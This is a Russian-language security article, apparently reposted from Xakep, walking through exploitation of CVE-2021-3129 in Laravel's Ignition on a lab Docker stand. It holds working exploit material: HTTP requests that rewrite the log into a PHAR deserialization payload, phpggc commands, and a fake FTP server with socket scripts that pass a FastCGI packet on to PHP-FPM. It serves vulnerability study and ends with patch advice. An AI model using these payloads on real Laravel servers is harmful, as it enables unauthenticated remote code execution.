Хакер - Уязвимость в Laravel. Разбираем эксплоит, который дает удаленное выполнение кода в популярном PHP-фреймворке
hacker_frei
aLLy
Содержание статьи
- Стенд
- Детали уязвимости
- Очищаем лог-файл
- Укрощаем лог-файл
- Эксплуатация через архив PHAR
- Эксплуатация через FTP => PHP-FPM
- Заключение
В библиотеке Ignition, поставляемой с Laravel, обнаружилась уязвимость, которая позволяет неавторизованным пользователям выполнять произвольный код. В этой статье мы посмотрим, где разработчики Ignition допустили ошибку, и разберем два метода ее эксплуатации.
Библиотека Ignition нужна для кастомизации сообщений об ошибках, что полезно во время разработки и отладки. Ignition доступна и используется в Laravel «из коробки», а также встречается в других проектах.
Уязвимость возможна из‑за некорректной обработки параметров POST-запроса. Благодаря этому злоумышленник может отправить произвольные данные в качестве аргументов функций file_get_contents и file_put_contents. Специально сформированная цепочка таких запросов приводит к возможности выполнить код на целевой системе.
INFO
Баг обнаружил Чарльз Фол (Charles Fol) из Ambionics Security. Уязвимости присвоен идентификатор CVE-2021-3129 и критический статус, так как для успешной эксплуатации не нужна авторизация. Баг присутствует в Ignition 2.5.2 и ниже.
СТЕНД
В качестве стенда будем использовать контейнер Docker на основе Debian 10.
docker pull debian
docker run -ti --name="laravelrce" -p8080:80 debian /bin/bash
Установим необходимые пакеты. В качестве веб‑сервера я буду использовать nginx.
apt update
apt install -y nano curl unzip nginx php-fpm php-common php-mbstring php-xmlrpc php-soap php-gd php-xml php-mysql php-cli php-zip php-curl php-pear php-dev python xxd libfcgi
Затем нужно проинсталлировать Composer.
curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer
Через него создадим проект на основе фреймворка Laravel. Для удобства поместим файлы в директорию /var/www.
cd /var/www && rm -rf html && composer create-project laravel/laravel . "v8.4.2" && sed -i -E 's|"facade/ignition": ".+?"|"facade/ignition": "2.5.1"|g' composer.json && composer update && mv public html
Теперь отредактируем конфиги nginx. Включаем обработку скриптов PHP и настраиваем необходимый для Laravel редирект.
sed -i -E 's|index index|index index.php index|g' /etc/nginx/sites-enabled/default
sed -i -E 's|try_files \$uri.*|try_files \$uri \$uri/ /index.php?\$query_string;|g' /etc/nginx/sites-enabled/default
sed -i -E 's|#location ~ \\\.php\$ \{|location ~ \\.php\$ {\n\t\tinclude snippets/fastcgi-php.conf;\n\t\tfastcgi_pass 127.0.0.1:9000;\n\t}|g' /etc/nginx/sites-enabled/default
Меняем настройку демона PHP-FPM, чтобы он работал по TCP и висел на 9000-м порте.
sed -i -E 's|listen = .*|listen = 127.0.0.1:9000|g' /etc/php/7.3/fpm/pool.d/www.conf
Для изучения деталей работы Ignition нам также потребуется простенький контроллер. Добавим роут test.
/var/www/routes/web.php
19: Route::get('/test', function () {
20: return view('test');
21: });
Теперь нужно создать view (представление) этого роута. Для описания представлений в Laravel используется шаблонизатор Blade.
/www/resources/views/test.blade.php
<!DOCTYPE html>
<html>
<body>
Hello, {{ $name }}.
</body>
</html>
где $name — это переменная, которую нужно передать во view.
С этим разобрались, осталось скачать сорцы фреймворка. Их можно взять прямо из Docker.
docker cp laravelrce:/var/www ./
Теперь все готово и можно приступать к разбору уязвимости.
ДЕТАЛИ УЯЗВИМОСТИ
Для начала проверим, включена ли Ignition. Можно отправить запрос, для которого нет обработчика у конкретного роута. Например, неплохо работает DELETE на index.php.

Более близким к нашей уязвимости будет такой запрос:
http://laravelrce.vh:8080/_ignition/execute-solution

Если видишь красивую картинку с сообщением об ошибке, как на скриншоте, — значит, все идет по плану. Помимо кастомизированных страниц с сообщением об ошибке, Ignition позволяет создавать так называемые solutions. Это небольшие фрагменты кода, они помогают решить проблемы, с которыми сталкиваются разработчики. Например, вернемся к нашему роуту test. В шаблоне мы используем переменную $name, но не передаем ее, поэтому Laravel вернет ошибку.

Обрати внимание на кнопку Make variable optional. При нажатии к серверу уходит интересный запрос.
POST /_ignition/execute-solution HTTP/1.1
Host: laravelrce.vh:8080
Accept: application/json
Content-Type: application/json
{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"name","viewFile":"/var/www/resources/views/test.blade.php"}}
В параметре solution указывается класс, который нужно выполнить. Штука любопытная, но указать произвольный класс там не получится, так как Ignition требует, чтобы вызываемый класс реализовывал интерфейс RunnableSolution.
/vendor/facade/ignition/src/SolutionProviders/SolutionProviderRepository.php
83: public function getSolutionForClass(string $solutionClass): ?Solution
84: {
85: if (! class_exists($solutionClass)) {
86: return null;
87: }
88:
89: if (! in_array(Solution::class, class_implements($solutionClass))) {
90: return null;
91: }
92:
93: return app($solutionClass);
94: }
/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php
8: class MakeViewVariableOptionalSolution implements RunnableSolution
Глянем код MakeViewVariableOptionalSolution, чтобы узнать, что он делает. Сначала вызывается метод makeOptional.
/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php
65: public function run(array $parameters = [])
66: {
67: $output = $this->makeOptional($parameters);
Он читает файл, путь до которого был передан в параметре viewFile.
/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php
73: public function makeOptional(array $parameters = [])
74: {
75: $originalContents = file_get_contents($parameters['viewFile']);
Затем переданная в variableName переменная изменяется с вида $name на $name ?? ''.
/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php
76: $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
После этого идет проверка шаблона. Программа хочет убедиться, что структура кода изменилась не больше, чем ожидалось.
/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php
78: $originalTokens = token_get_all(Blade::compileString($originalContents));
79: $newTokens = token_get_all(Blade::compileString($newContents));
80:
81: $expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);
82:
83: if ($expectedTokens !== $newTokens) {
84: return false;
85: }
Если это не так, то makeOptional вернет false, в противном случае (вариант, когда все прошло гладко) содержимое шаблона перезаписывается.
/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php
73: public function makeOptional(array $parameters = [])
74: {
...
87: return $newContents;
88: }
/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php
65: public function run(array $parameters = [])
66: {
...
68: if ($output !== false) {
69: file_put_contents($parameters['viewFile'], $output);
70: }
Если отбросить все лишнее, то выполняется простое чтение и запись файла.
75: $originalContents = file_get_contents($parameters['viewFile']);
69: file_put_contents($parameters['viewFile'], $output);
Полным путем до файла можно манипулировать, просто изменяя его в запросе. Но что это дает?
Первое, что приходит в голову, — это использовать технику эксплуатации через десериализацию в архиве PHAR. Для этого нужно иметь возможность загружать файл с произвольным содержимым и знать путь до этого файла в системе.
Это идеальный вариант, и если такая возможность присутствует в твоем случае, то RCE у тебя в кармане. Однако такой расклад не очень интересен, поэтому давай посмотрим, что можно сделать с дефолтной конфигурацией Laravel.
Здесь нам необходимо обратиться к врапперам PHP, а именно к php://filter. При помощи комбинации встроенных фильтров можно манипулировать содержимым файла до того, как оно будет использовано. Создадим файл для тестирования.
echo Hello | base64 | base64 > /tmp/test.file
cat /tmp/test.file
U0dWc2JHOEsK

Теперь я создал скрипт на PHP, где происходят операции чтения и записи файла, аналогичные используемым в Ignition.
/tmp/test.php
<?php
$file = 'php://filter/convert.base64-decode/resource=/tmp/test.file';
// Читаем локальный файл, перед этим к его содержимому будет применен фильтр base64-decode
$contents = file_get_contents($file);
// Выводим содержимое
var_dump($contents);
// Записываем содержимое в этот же локальный файл, предварительно обработав его той же функцией base64-decode
file_put_contents($file, $contents);
Переменная $file — это аналог viewFile, здесь содержится строка пути. Этим параметром мы можем манипулировать.
К каждой строке я добавил комментарий о том, что происходит после ее выполнения. На выходе содержимое файла будет Hello.

Таким образом можно изменять содержимое файла, манипулируя только путем до него. Здесь есть небольшая проблемка: фильтр base64-decode отрабатывает дважды. Но ее легко решить: достаточно изменить конструкции вызова враппера.
echo Hello | base64 > /tmp/test.file
cat /tmp/test.file
SGVsbG8K
/tmp/test-onetime.php
<?php
$file = 'php://filter/read=convert.base64-decode/resource=/tmp/test.file';
// Читаем локальный файл, перед этим к его содержимому будет применен фильтр base64-decode
$contents = file_get_contents($file);
// Выводим содержимое
var_dump($contents);
// Записываем содержимое в этот же локальный файл, теперь содержимое не будет второй раз проходить через base64-decode
file_put_contents($file, $contents);

ОЧИЩАЕМ ЛОГ-ФАЙЛ
Теперь вернемся к идее выполнения кода через десериализацию архива PHAR. Как я уже говорил, идеальный случай — это когда есть возможность загружать произвольные файлы и ты знаешь путь до них. В нашей установке такой роскоши нет, но есть один файл, имя и путь которого довольно предсказуемы. Это собственный лог‑файл фреймворка Laravel. По дефолту он находится в директории storage/logs. В него записываются сообщения об ошибках, вроде тех, что красиво показывает в браузере Ignition.

Посмотрим, что записывается в лог при передаче несуществующего пути в обработке solution.
POST /_ignition/execute-solution HTTP/1.1
Host: laravelrce.vh:8080
Accept: application/json
Content-Type: application/json
{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"name","viewFile":"THIS_FILE_DOESNT_EXISTS"}}

Получается, что я могу управлять частью содержимого лога, манипулируя переменной viewFile. Исследователь Чарльз Фол нашел способ превратить лог‑файл в полноценный архив PHAR с нужным содержимым, используя только манипуляции с набором фильтров и цепочку запросов. Давай посмотрим, как это можно сделать.
Вновь обратимся к фильтру base64-decode. Посмотрим на особенности его работы с символами, которые не входят в алфавит кодирования Base64.
echo Hello | base64 -w0 | cat <(echo -n ':;.-|') - <(echo '|-.;:') > /tmp/test.file

Как видишь, они просто игнорируются и производится декодирование только корректной строки Base64. Но если попадается некорректная, то выводится предупреждение и возвращается пустая строка. Простой способ сделать некорректным набор данных — это добавить суффикс выравнивания (знак «равно») в середину.

Этим трюком можно было бы очищать содержимое любого файла, если бы не одно но — обработчики исключений во фреймворке. Когда фильтр возвращает warning, Laravel его перехватывает, записывает трейс в лог‑файл и прекращает выполнение скрипта.
Поэтому нужно найти такой фильтр, который не возвращает ошибку, не возвращает контента и при этом обращается к нужному файлу.
Для этого посмотрим, какие фильтры есть в текущей установке PHP.
php -r "print_r(stream_get_filters());"

Обрати внимание на consumed, его описание ты не найдешь в документации. Поэтому заглянем в исходники.
/ext/standard/filters.c
1626: /* {{{ consumed filter implementation */
1627: typedef struct _php_consumed_filter_data {
1628: size_t consumed;
1629: zend_off_t offset;
1630: uint8_t persistent;
1631: } php_consumed_filter_data;
...
1633: static php_stream_filter_status_t consumed_filter_filter(
...
1649: while ((bucket = buckets_in->head) != NULL) {
1650: php_stream_bucket_unlink(bucket);
1651: consumed += bucket->buflen;
1652: php_stream_bucket_append(buckets_out, bucket);
1653: }
Этот недокументированный фильтр как раз делает именно то, что нам нужно. Давай используем его и проверим результат.
POST /_ignition/execute-solution HTTP/1.1
Host: laravelrce.vh:8080
Accept: application/json
Content-Type: application/json
{
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{
"variableName":"name",
"viewFile":"php://filter/read=consumed/resource=../storage/logs/laravel.log"
}
}

Теперь, когда у нас есть возможность очистить файл, посмотрим, как можно создать архив PHAR.
УКРОЩАЕМ ЛОГ-ФАЙЛ
Рассмотрим структуру лог‑файла. Отправим запрос, который читает несуществующий файл.
POST /_ignition/execute-solution HTTP/1.1
Host: laravelrce.vh:8080
Accept: application/json
Content-Type: application/json
{
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{
"variableName":"name",
"viewFile":"THIS_IS_SOME_STRING"
}
}
storage/logs/laravel.log
[2021-04-25 14:25:19] local.ERROR: file_get_contents(THIS_IS_SOME_STRING): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(THIS_IS_SOME_STRING): failed to open stream: No such file or directory at /var/www/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75)
Если обобщить, то первая строка каждой такой записи имеет следующий вид:
[date][error_data]<filename>[error_data]<filename>[error_data]
Это приводит нас к следующей проблеме. Как отбросить все ненужные данные и оставить только ту часть, которой можно манипулировать? К счастью, в PHP имеется множество фильтров конвертации из различных кодировок. Все они имеют префикс convert.iconv.*.
Воспользуемся особенностями кодировки UTF-16, а именно UTF-16LE (без метки порядка байтов). В ней символы кодируются двухбайтовыми словами. Обычные символы ASCII имеют такой же вид, только к ним добавляется байт \x00.
echo -n Hello | iconv -f ascii -t utf16le | xxd
> 00000000: 4800 6500 6c00 6c00 6f00 H.e.l.l.o.

Теперь создадим файл, часть которого будет содержать строку в кодировке UTF-16LE, она и будет нашим пейлоадом.
function teststring { echo -n Hello | iconv -f ascii -t utf16le; }
teststring | sed 's/.*/[date][error_data]\0[error_data]\0[error_data]/' > test.file

Далее воспользуемся фильтром convert.iconv.utf16le.utf-8, который сконвертирует содержимое подопытного файла в UTF-8.
test-utf16utf8.php
<?php
$file = 'php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.file';
$contents = file_get_contents($file);
var_dump($contents);
file_put_contents($file, $contents);

Как видишь, читаемыми остались только два пейлоада. Столько нам не нужно, а поскольку UTF-16 работает с двумя байтами, то можно сместить выравнивание второго пейлоада, добавив в конце дополнительный байт.
echo -n Hello | iconv -f ascii -t utf16le | cat - <(echo -n F) | xxd
> 00000000: 4800 6500 6c00 6c00 6f00 46 H.e.l.l.o.F
function teststring { echo -n Hello | iconv -f ascii -t utf16le | cat - <(echo -n F); }
teststring | sed 's/.*/[date][error_data]\0[error_data]\0[error_data]/' > test.file

Таким образом смещаем обрабатываемые конвертором пары байтов после первого пейлоада и в результате получим нужную строку.

Если теперь использовать фильтр base64-decode, то он отбросит все некорректные символы и попытается декодировать только пейлоад, что нам и нужно.
Однако здесь притаилась еще одна проблемка. Так как пейлоад будет передаваться в функцию file_get_contents в качестве имени файла, не получится использовать null-байты, которые необходимы для представления текста в виде UTF-16.
Обойти это ограничение нам вновь помогают фильтры. Filters.covert.quoted-printable позволяет использовать null-байты, представив их в виде =00.
function teststring { echo -n Hello | base64 -w0 | sed -E 's/=+$//g' | sed -E 's/./\0=00/g' | cat - <(echo -n F); }
teststring | sed 's/.*/[date][error_data]\0[error_data]\0[error_data]/' > test.file
php -r 'var_dump(file_get_contents("php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=test.file"));'

На этом этапе почти все готово к эксплуатации, но нас может подстерегать еще одна проблема. Причина кроется все в тех же особенностях кодировки UTF-16 — размер символа в два байта. Если общий размер лога будет нечетным, то фильтр convert.iconv.utf-16le.utf-8 вернет предупреждение.

Как ты уже знаешь, Laravel обрабатывает все исключения и прекращает выполнение скрипта. Поэтому для выравнивания можно добавить еще одну запись в лог‑файл при помощи все того же запроса с указанием строки нужного размера в качестве имени файла в viewFile.
POST /_ignition/execute-solution HTTP/1.1
Host: laravelrce.vh:8080
Accept: application/json
Content-Type: application/json
{
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{
"variableName":"name",
"viewFile":"AA"
}
}
ЭКСПЛУАТАЦИЯ ЧЕРЕЗ АРХИВ PHAR
Настало время собрать всю цепочку в полноценный эксплоит. Для формирования пейлоада предлагаю использовать phpggc. Это генератор цепочек гаджетов для эксплуатации десериализации в PHP. Утилита в числе прочего может записывать результат в виде архива PHAR.
В качестве гаджета я буду использовать Monolog/RCE1, подходящая версия этого пакета как раз присутствует в дефолтной установке Laravel.

php -d'phar.readonly=0' phpggc --phar phar -o exploit.phar --fast-destruct monolog/rce1 system id
Флаг fast-destruct поможет сразу вывести результат команды. Конвертируем полученный архив в пейлоад.
cat exploit.phar | base64 -w0 | sed -E 's/=+$//g' | sed -E 's/./\0=00/g' | cat - <(echo -n F);

Приступаем к эксплуатации.
Сначала очистим лог‑файл.
POST /_ignition/execute-solution HTTP/1.1
Host: laravelrce.vh:8080
Accept: application/json
Content-Type: application/json
{
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{
"variableName":"name",
"viewFile":"php://filter/read=consumed/resource=../storage/logs/laravel.log"
}
}
Если необходимо, отправляем запрос для получения корректного, четного размера результирующего файла. В моем случае достаточно было двух байтов AA.
POST /_ignition/execute-solution HTTP/1.1
Host: laravelrce.vh:8080
Accept: application/json
Content-Type: application/json
{
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{
"variableName":"name",
"viewFile":"AA"
}
}
Теперь настала очередь полезной нагрузки. Но тут нас поджидает еще одна загвоздка. Трейс, который записывается в лог‑файл, может быть разным, и это может нам подпортить корректную эксплуатацию. Это происходит потому, что один из элементов стека отображает выполненную функцию, аргумент которой обрезан до N первых байтов.

На моей системе это 15 (P=00D=009=00w=0). Когда фильтр будет обрабатывать такую конструкцию, он вернет исключение invalid byte sequence, а ты уже знаешь, как поступает с исключениями Laravel.

Чтобы избежать этой ошибки, можно добавить необходимое количество любых символов, которые декодер Base64 отбросит и не будет воспринимать фильтр quoted-printable-decode. Я использовал знак минус и просто добавил 16 (лучше придерживаться четного количества!) таких символов в начало пейлоада.
POST /_ignition/execute-solution HTTP/1.1
Host: laravelrce.vh:8080
Accept: text/html
Content-Type: application/json
{
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{
"variableName":"name",
"viewFile":"----------------P=00D=009=00w=00a=00H=00A=00...T=00U=00I=00F"
}
}

Следующий шаг — конвертация лог‑файла в валидный архив PHAR. Отправляем запрос с уже знакомым набором фильтров.
POST /_ignition/execute-solution HTTP/1.1
Host: laravelrce.vh:8080
Accept: application/json
Content-Type: application/json
{
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{
"variableName":"name",
"viewFile":"php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
Если сервер возвращает пустой ответ с кодом 200, значит, все идет по плану.

Ну и наконец, осталось обратиться к полученному логу как к архиву PHAR, чтобы выполнить сгенерированную полезную нагрузку.

В ответе видим результат работы команды id.
Этот метод эксплуатации хорош, но имеет свои минусы, один из них — необходимость знать путь до лога или любого другого файла, доступного для записи в системе. Что делать, если такого не оказалось?
ЭКСПЛУАТАЦИЯ ЧЕРЕЗ FTP => PHP-FPM
Если первый способ эксплуатации не сработал или невозможен, то предлагаю разобраться с еще одним вариантом.
Для этого нам понадобится рассмотреть особенности работы протокола FTP. Он может работать в активном или пассивном режиме, от этого зависит способ установки соединения. В активном режиме клиент создает соединение с сервером и передает ему свой IP-адрес и произвольный номер порта, на который ждет подключения. В пассивном режиме клиент отравляет команду PASV и получает от сервера IP-адрес и номер порта, которые затем используются клиентом для подключения. Фишка в том, что эти данные могут быть любыми, в том числе IP-адрес может быть 127.0.0.1. Таким образом можно подключаться к сервисам, которые доступны только из внутренней инфраструктуры.
В моем тестовом окружении есть демон PHP-FPM, который слушает порт 9000.

Он работает по протоколу FastCGI, и к нему можно обращаться напрямую при помощи специально сформированных пакетов. Для этого существует множество утилит, например cgi-fcgi из библиотеки libfcgi.
PAYLOAD="<?php system('id');"
FILENAME="/var/www/html/index.php"
B64=$(echo "$PAYLOAD"|base64)
env -i \
PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
SCRIPT_FILENAME=$FILENAME SCRIPT_NAME=$FILENAME REQUEST_METHOD=POST \
cgi-fcgi -bind -connect 127.0.0.1:9000 | head

Здесь FILENAME — абсолютный путь до существующего скрипта. На самом деле его можно и не знать, главное, чтобы расширение было .php. Тут гораздо важнее переменная окружения PHP_VALUE, а именно опция auto_prepend_file. Эта директива переопределяет одноименную из файла конфигурации PHP. Все последующие вызовы на данном воркере будут использовать эту настройку. В ней указывается имя файла, который автоматически выполняется перед основным. Я воспользовался врапперами и напрямую указал код, который хочу выполнить. Предварительно закодировал его в кодировку Base64.
При эксплуатации мне понадобится более универсальный пейлоад. Для теста хорошо подойдет php://input. После успешной эксплуатации все, что будет передано в теле запроса, обработается интерпретатором PHP.
Теперь необходимо получить содержимое пакета, который отправляется к PHP-FPM, чтобы установить нужные настройки. Для этих целей мне приглянулся скрипт fpm.py за авторством phith0n.
Я немного модифицировал скрипт, чтобы он сохранял пакет в файл exploit.bin.
fcgi_packet_generator.py
187: with open("exploit.bin", "wb") as flr:
188: flr.write(request)
189: # self.sock.send(request)
190: # self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
191: # self.requests[requestId]['response'] = b''
192: # return self.__waitForResponse(requestId)
193: return True
...
253: 'PHP_VALUE': 'auto_prepend_file = php://input',
Алгоритм действий будет следующим.
- Отправляем запрос, который обращается к нашему FTP-серверу, для этого просто используем схему
ftp://IP:PORT/filename.ext. - Адрес сервера приходит в функцию
file_get_contents, и выполняется подключение. - Наш FTP-сервер получает соединение с запросом файла и отвечает, что может передать его в пассивном режиме. Для этого нужно подключиться на определенный хост и порт.
- На этом порте мы ожидаем соединения, чтобы передать серверу файл, содержащий полезную нагрузку (наш exploit.bin).
- Тут выполнение функции
file_get_contentsзавершается, и в переменной$originalContentsтеперь содержится наш пейлоад.
/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php
73: public function makeOptional(array $parameters = [])74: {75: $originalContents = file_get_contents($parameters['viewFile']);- Затем наступает черед функции
file_put_contents. Она вновь подключается к тому же самому FTP-серверу, только теперь для того, чтобы записать файл. - На этот раз войдя в пассивный режим, отвечаем клиенту, что для того, чтобы передать содержимое для записи в файл, необходимо подключиться к хосту 127.0.0.1 и порту 9000. То есть к демону PHP-FPM.
- Клиент выполняет подключение и отправляет содержимое
exploit.bin, в котором лежит корректный пакет FastCGI. Таким образом полезная нагрузка доставляется в нужное место.
Теперь осталось лишь реализовать этот алгоритм на практике.
В качестве FTP-сервера я взял скрипт fake_ftp.py Ивана @dfyz Комарова и добавил туда обработку дополнительных команд и двух последовательных коннектов.
INFO
Скрипт был написан в рамках решения таска resonator на hxp CTF 2020.
fake_ftp.py
LOCAL_PORT = 9000
LOCAL_PORT_1 = 65123
HOST_FPM = '127,0,0,1'
HOST_VALID = '192.168.99.1'
HOST_VALID_FTP = '192,168,99,1'
...
elif cmd == b'PASV':
if first == True:
self._send(f'227 Entering passive mode ({HOST_VALID_FTP},{LOCAL_PORT_1 // 256},{LOCAL_PORT_1 % 256})'.encode())
else:
self._send(f'227 go to ({HOST_FPM},{LOCAL_PORT // 256},{LOCAL_PORT % 256})'.encode())
Обрати внимание, в каком виде передаются хост и порт для управления коннектами клиента. Номер порта высчитывается по формуле {(first value * [2^8]) + second value}, поэтому в коде нам нужно проделать обратную операцию.
При первом коннекте клиента к порту 65123 нужно отдать файл с полезной нагрузкой. Сделаю это при помощи простого Python-скрипта, который использует библиотеку сокетов.
serve_file_pasv.py
import socket
import sys
LOCAL_PORT_1 = 65123
HOST_VALID = '192.168.99.1'
FILE = 'exploit.bin'
fi=open(FILE,'rb')
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST_VALID, LOCAL_PORT_1))
print('Serve {} at {}:{}'.format(FILE, HOST_VALID, LOCAL_PORT_1))
sys.stdout.flush()
s.listen()
conn, addr = s.accept()
with conn:
print('Connected by', addr)
data = fi.read(1024)
while data:
conn.send(data)
data=fi.read(1024)
fi.close()
print('Serve finished.')
Вот и вся цепочка. Запускаем в нужной последовательности, сначала генерируем файл‑пакет с полезной нагрузкой.
python3 fcgi_packet_generator.py -p 9000 127.0.0.1 /tmp/any.php
Затем скрипт, который будет отдавать его клиенту.
python3 serve_file_pasv.py
Теперь сам FTP-сервер, который будет управлять соединениями и направлять их в нужное русло.
python3 fake_ftp.py

Далее отправляем запрос на подключение к этому FTP.
POST /_ignition/execute-solution HTTP/1.1
Host: laravelrce.vh:8080
Accept: application/json
Content-Type: application/json
{
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{
"variableName":"name",
"viewFile":"ftp://192.168.99.1/test.txt"
}
}
Сервер вернул ответ с кодом 200 — значит, вся цепочка отработала как надо.

А теперь можно выполнять код на PHP, просто отправляя его в теле запроса.
POST /_ignition/execute-solution HTTP/1.1
Host: laravelrce.vh:8080
Accept: application/json
Content-Type: application/json
<?php
system('id');

Полный исходный код всех частей эксплоита ты можешь найти в моем репозитории на GitHub.
Конечно, с помощью такой атаки через FTP можно проэксплуатировать не только PHP-FPM, но и любые сервисы, доступ к которым есть с уязвимой машины. Например, на периметре частенько попадаются memcache и Redis. Так что тема эксплуатации через FTP очень интересная и актуальная. Я настоятельно рекомендую изучить презентацию по этой теме моего коллеги Антона Bo0oM Лопаницина.
ЗАКЛЮЧЕНИЕ
В этом обзоре я рассмотрел два интересных варианта эксплуатации одной уязвимости, которые были больше похожи на таск из какого‑нибудь CTF. Система построения приложений из набора библиотек может поставить под угрозу безопасность даже таких крупных проектов, как Laravel. К счастью, эта же особенность позволяет разработчикам быстро обновлять или вовсе удалять ненадежные библиотеки, в которых находятся опасные баги.
Разработчики оперативно исправили эту уязвимость в Ignition версии 2.5.2, так что смело обновляйся, Composer тебе в помощь.
/var/www/composer.json
...
"require-dev": {
"facade/ignition": "^2.5",
...
composer update
Во всех новых инсталляциях по умолчанию уже используется более новая версия библиотеки.
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei